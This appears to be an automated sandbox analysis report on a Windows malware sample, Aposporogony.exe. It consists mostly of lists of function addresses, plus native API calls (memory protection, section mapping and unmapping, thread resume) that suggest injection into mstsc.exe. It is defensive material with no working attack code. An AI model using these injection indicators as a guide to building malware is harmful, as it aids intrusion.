Windows Analysis Report
Aposporogony.exe

Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_00404DCC	0_2_00404DCC
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_00406AF2	0_2_00406AF2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_73D21B63	0_2_73D21B63
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480348	0_2_03480348
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034A0F45	0_2_034A0F45
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03481F5D	0_2_03481F5D
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03481354	0_2_03481354
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_0348236B	0_2_0348236B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480F7B	0_2_03480F7B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480B71	0_2_03480B71
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480F77	0_2_03480F77
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480B0E	0_2_03480B0E
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03481F06	0_2_03481F06
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_0348071B	0_2_0348071B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_0348971D	0_2_0348971D
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03487B33	0_2_03487B33
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034A2BCE	0_2_034A2BCE
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480FCE	0_2_03480FCE
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034813D2	0_2_034813D2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480BE6	0_2_03480BE6
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034A3FF1	0_2_034A3FF1
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03489B9B	0_2_03489B9B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480797	0_2_03480797
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034803BD	0_2_034803BD
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03481FB3	0_2_03481FB3
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03481E4D	0_2_03481E4D
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_0348065F	0_2_0348065F
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03481261	0_2_03481261
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480A08	0_2_03480A08
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03488A0E	0_2_03488A0E
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480E1B	0_2_03480E1B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480E1F	0_2_03480E1F
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480216	0_2_03480216
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03487E20	0_2_03487E20
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03482623	0_2_03482623
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03482233	0_2_03482233
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034A52CD	0_2_034A52CD
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034826D8	0_2_034826D8
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034826D0	0_2_034826D0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034812D4	0_2_034812D4
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034802EE	0_2_034802EE
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480AEF	0_2_03480AEF
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480EF8	0_2_03480EF8
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034806FA	0_2_034806FA
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480E98	0_2_03480E98
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03481EAB	0_2_03481EAB
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034886A5	0_2_034886A5
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480D52	0_2_03480D52
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034A5954	0_2_034A5954
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03482163	0_2_03482163
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_0348257C	0_2_0348257C
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03488901	0_2_03488901
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03482502	0_2_03482502
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034A151A	0_2_034A151A
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03481D10	0_2_03481D10
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03487910	0_2_03487910
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03482521	0_2_03482521
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03487927	0_2_03487927
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03488937	0_2_03488937
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034899C9	0_2_034899C9
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034801CA	0_2_034801CA
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034A2DD8	0_2_034A2DD8
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034821DB	0_2_034821DB
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034825D1	0_2_034825D1
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034805EC	0_2_034805EC
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034811ED	0_2_034811ED
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03481DE5	0_2_03481DE5
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03487D81	0_2_03487D81
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034809AD	0_2_034809AD
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480DB6	0_2_03480DB6
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034899B7	0_2_034899B7
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480C59	0_2_03480C59
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_0348006D	0_2_0348006D
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_0348906F	0_2_0348906F
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480002	0_2_03480002
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_0348081A	0_2_0348081A
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480012	0_2_03480012
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03483012	0_2_03483012
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03483029	0_2_03483029
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_0348142B	0_2_0348142B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_0348042D	0_2_0348042D
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03482032	0_2_03482032
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480CD2	0_2_03480CD2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034810E9	0_2_034810E9
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034804FE	0_2_034804FE
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034820F1	0_2_034820F1
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480886	0_2_03480886
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03482091	0_2_03482091
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03481092	0_2_03481092
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03480493	0_2_03480493
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034898AD	0_2_034898AD
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D862DB0	4_2_1D862DB0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D859DD0	4_2_1D859DD0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8EFDF4	4_2_1D8EFDF4
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84AD00	4_2_1D84AD00
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D90FD27	4_2_1D90FD27
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D907D4C	4_2_1D907D4C
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D850D69	4_2_1D850D69
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8E9C98	4_2_1D8E9C98
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D868CDF	4_2_1D868CDF
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8D7CE8	4_2_1D8D7CE8
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86FCE0	4_2_1D86FCE0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D840C12	4_2_1D840C12
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85AC20	4_2_1D85AC20
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8CEC20	4_2_1D8CEC20
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FEC4C	4_2_1D8FEC4C
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D90EC60	4_2_1D90EC60
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D906C69	4_2_1D906C69
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D90EFBF	4_2_1D90EFBF
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D901FC6	4_2_1D901FC6
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85CF00	4_2_1D85CF00
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D90FF63	4_2_1D90FF63
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D851EB2	4_2_1D851EB2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D900EAD	4_2_1D900EAD
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D909ED2	4_2_1D909ED2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D842EE8	4_2_1D842EE8
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D892E48	4_2_1D892E48
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D870E50	4_2_1D870E50
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84E9A0	4_2_1D84E9A0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D90E9A6	4_2_1D90E9A6
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8959C0	4_2_1D8959C0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8199E8	4_2_1D8199E8
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D866882	4_2_1D866882
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C98B2	4_2_1D8C98B2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8528C0	4_2_1D8528C0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D9018DA	4_2_1D9018DA
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D9078F3	4_2_1D9078F3
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D853800	4_2_1D853800
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87E810	4_2_1D87E810
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D90F872	4_2_1D90F872
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D836868	4_2_1D836868
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D859870	4_2_1D859870
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86B870	4_2_1D86B870
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C5870	4_2_1D8C5870
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C4BC0	4_2_1D8C4BC0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D88DB19	4_2_1D88DB19
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D850B10	4_2_1D850B10
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D90FB2E	4_2_1D90FB2E
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D90FA89	4_2_1D90FA89
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86FAA0	4_2_1D86FAA0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D90CA13	4_2_1D90CA13
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D90EA5B	4_2_1D90EA5B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D9075C6	4_2_1D9075C6
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D90F5C9	4_2_1D90F5C9
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BD480	4_2_1D8BD480
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D850445	4_2_1D850445
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84170C	4_2_1D84170C
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D906757	4_2_1D906757
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D852760	4_2_1D852760
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85A760	4_2_1D85A760
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C36EC	4_2_1D8C36EC
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84C6E0	4_2_1D84C6E0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D90F6F6	4_2_1D90F6F6
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8ED62C	4_2_1D8ED62C
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FD646	4_2_1D8FD646
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D874670	4_2_1D874670
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8551C0	4_2_1D8551C0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86B1E0	4_2_1D86B1E0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83F113	4_2_1D83F113
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D91010E	4_2_1D91010E
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8ED130	4_2_1D8ED130
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D89717A	4_2_1D89717A
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D88508C	4_2_1D88508C
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8400A0	4_2_1D8400A0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85B0D0	4_2_1D85B0D0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D9070F1	4_2_1D9070F1
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FE076	4_2_1D8FE076
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D841380	4_2_1D841380
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85E310	4_2_1D85E310
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D90F330	4_2_1D90F330
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83D2EC	4_2_1D83D2EC
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86D210	4_2_1D86D210
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D812245	4_2_1D812245
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D90124C	4_2_1D90124C
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_0168402B	4_2_0168402B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045F0445	6_2_045F0445
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0465D480	6_2_0465D480
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046AF5C9	6_2_046AF5C9
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046A75C6	6_2_046A75C6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04614670	6_2_04614670
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0469D646	6_2_0469D646
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0468D62C	6_2_0468D62C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046636EC	6_2_046636EC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046AF6F6	6_2_046AF6F6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045EC6E0	6_2_045EC6E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046A6757	6_2_046A6757
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045F2760	6_2_045F2760
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045FA760	6_2_045FA760
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045E170C	6_2_045E170C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0469E076	6_2_0469E076
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045FB0D0	6_2_045FB0D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046A70F1	6_2_046A70F1
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0462508C	6_2_0462508C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045E00A0	6_2_045E00A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0463717A	6_2_0463717A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045DF113	6_2_045DF113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0468D130	6_2_0468D130
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046B010E	6_2_046B010E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0460B1E0	6_2_0460B1E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045F51C0	6_2_045F51C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046A124C	6_2_046A124C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0460D210	6_2_0460D210
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045DD2EC	6_2_045DD2EC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045FE310	6_2_045FE310
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046AF330	6_2_046AF330
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045E1380	6_2_045E1380
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046A6C69	6_2_046A6C69
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046AEC60	6_2_046AEC60
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0469EC4C	6_2_0469EC4C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045E0C12	6_2_045E0C12
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045FAC20	6_2_045FAC20
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0460FCE0	6_2_0460FCE0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04677CE8	6_2_04677CE8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04608CDF	6_2_04608CDF
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04689C98	6_2_04689C98
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046A7D4C	6_2_046A7D4C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045F0D69	6_2_045F0D69
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046AFD27	6_2_046AFD27
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045EAD00	6_2_045EAD00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045F9DD0	6_2_045F9DD0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0468FDF4	6_2_0468FDF4
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04602DB0	6_2_04602DB0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04632E48	6_2_04632E48
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04610E50	6_2_04610E50
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045E2EE8	6_2_045E2EE8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046A9ED2	6_2_046A9ED2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046A0EAD	6_2_046A0EAD
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045F1EB2	6_2_045F1EB2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046AFF63	6_2_046AFF63
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045FCF00	6_2_045FCF00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046A1FC6	6_2_046A1FC6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046AEFBF	6_2_046AEFBF
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0460B870	6_2_0460B870
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04665870	6_2_04665870
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046AF872	6_2_046AF872
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045F9870	6_2_045F9870
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045D6868	6_2_045D6868
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045F3800	6_2_045F3800
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0461E810	6_2_0461E810
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046A78F3	6_2_046A78F3
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045F28C0	6_2_045F28C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046A18DA	6_2_046A18DA
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046698B2	6_2_046698B2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04606882	6_2_04606882
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046359C0	6_2_046359C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046AE9A6	6_2_046AE9A6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045EE9A0	6_2_045EE9A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046AEA5B	6_2_046AEA5B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046ACA13	6_2_046ACA13
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0460FAA0	6_2_0460FAA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046AFA89	6_2_046AFA89
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046AFB2E	6_2_046AFB2E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045F0B10	6_2_045F0B10
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0462DB19	6_2_0462DB19
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04664BC0	6_2_04664BC0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0040E740	6_2_0040E740
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00408880	6_2_00408880
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0042024C	6_2_0042024C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00420289	6_2_00420289
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00421524	6_2_00421524
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0041FA43	6_2_0041FA43
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0041FA46	6_2_0041FA46
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00420C29	6_2_00420C29
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00420CC2	6_2_00420CC2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00409D10	6_2_00409D10
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00402D87	6_2_00402D87
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00402D90	6_2_00402D90
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00420EAD	6_2_00420EAD
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00402FB0	6_2_00402FB0

Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 0466EF10 appears 90 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 0465E692 appears 83 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 045DB910 appears 187 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 04625050 appears 36 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 04637BE4 appears 86 times
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: String function: 1D897BE4 appears 86 times
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: String function: 1D8CEF10 appears 90 times
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: String function: 1D885050 appears 36 times
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: String function: 1D83B910 appears 187 times
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: String function: 1D8BE692 appears 84 times

Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034A4F44 NtProtectVirtualMemory,	0_2_034A4F44
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034A6172 NtOpenFile,	0_2_034A6172
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034A52CD NtOpenFile,	0_2_034A52CD
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882DA0 NtReadVirtualMemory,LdrInitializeThunk,	4_2_1D882DA0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882DC0 NtAdjustPrivilegesToken,LdrInitializeThunk,	4_2_1D882DC0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882D10 NtQuerySystemInformation,LdrInitializeThunk,	4_2_1D882D10
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882CF0 NtDelayExecution,LdrInitializeThunk,	4_2_1D882CF0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882C30 NtMapViewOfSection,LdrInitializeThunk,	4_2_1D882C30
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882C50 NtUnmapViewOfSection,LdrInitializeThunk,	4_2_1D882C50
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882F00 NtCreateFile,LdrInitializeThunk,	4_2_1D882F00
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882EB0 NtProtectVirtualMemory,LdrInitializeThunk,	4_2_1D882EB0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882ED0 NtResumeThread,LdrInitializeThunk,	4_2_1D882ED0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882E50 NtCreateSection,LdrInitializeThunk,	4_2_1D882E50
